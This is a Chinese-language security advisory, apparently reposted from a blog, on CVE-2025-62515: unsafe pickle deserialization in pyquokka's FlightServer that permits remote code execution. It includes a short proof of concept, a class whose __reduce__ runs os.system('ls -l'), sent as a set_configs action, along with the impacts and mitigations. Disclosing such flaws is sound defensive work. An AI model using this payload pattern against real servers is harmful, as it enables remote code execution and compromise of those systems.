PyQuokka框架因FlightServer的Pickle反序列化漏洞面临远程代码执行风险

本文详细分析了PyQuokka框架中FlightServer组件的安全漏洞,该漏洞由于直接使用pickle.loads()反序列化不可信数据,导致攻击者能够通过恶意构造的pickle载荷实现远程代码执行,严重威胁系统安全。

pyquokka 因 FlightServer 的 Pickle 反序列化而面临远程代码执行漏洞

漏洞详情

CVE ID: CVE-2025-62515
GHSA ID: GHSA-f74j-gffq-vm9p
严重程度: 严重(CVSS 评分 9.8)

漏洞描述

在 pyquokka 框架的 FlightServer 类中,do_action() 方法直接使用 pickle.loads() 对从 Flight 客户端接收的操作体进行反序列化,未进行任何清理或验证,导致远程代码执行漏洞。

易受攻击的代码位于 pyquokka/flight.py 的第 283 行,其中来自 Flight 客户端的任意数据直接传递给 pickle.loads()

更令人担忧的是,当 FlightServer 配置为监听 0.0.0.0 时(如第 339 行提供的服务器示例所示),这允许整个网络上的攻击者通过 set_configs 操作发送恶意 pickle 载荷来执行任意远程代码执行。

此外,函数 cache_garbage_collectdo_putdo_get 也包含漏洞点,其中使用 pickle.loads 反序列化不可信的远程数据。

概念验证

步骤 1:

受害用户启动绑定到网络接口的 FlightServer,例如:

1
2
server = FlightServer("0.0.0.0", location = "grpc+tcp://0.0.0.0:5005")
server.serve()

步骤 2:

攻击者可以通过 Flight 客户端连接发送恶意 pickle 转储数据。提供的 PoC 演示了攻击者如何执行 “ls -l” 命令:

1
2
3
4
5
6
7
8
class RCE:
    def __reduce__(self):
        import os
        return (os.system, ('ls -l',))

import pickle
action_body = pickle.dumps(RCE())
action = pyarrow.flight.Action("set_configs", action_body)

当服务器收到此载荷时,FlightServer.do_action() 方法在第 283 行调用 pickle.loads(action.body.to_pybytes()),通过 Python 的 pickle 反序列化机制触发恶意代码的执行。

影响

  • 通过网络在受害者机器上执行远程代码
  • 完整的系统入侵
  • 数据窃取
  • 网络内的横向移动
  • 拒绝服务攻击
  • 安装持久后门

缓解措施

替换不安全的反序列化

  • 对于简单数据结构,使用 JSON 序列化
  • 对于复杂数据,使用 Protocol Buffers 或 MessagePack
  • 如果必须使用 pickle,实现自定义的 Unpickler,并限制 find_class() 方法仅允许白名单中的类

网络安全

  • 如果服务仅用于内部使用,绑定到 localhost (127.0.0.1) 而不是 0.0.0.0
  • 实施身份验证和授权机制

安全警告

在公共接口上启动服务时,显示明确的安全警告以告知用户风险。

参考链接

弱点分类

CWE-502: 不可信数据的反序列化 - 产品在未充分验证结果数据是否有效的情况下反序列化不可信数据。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计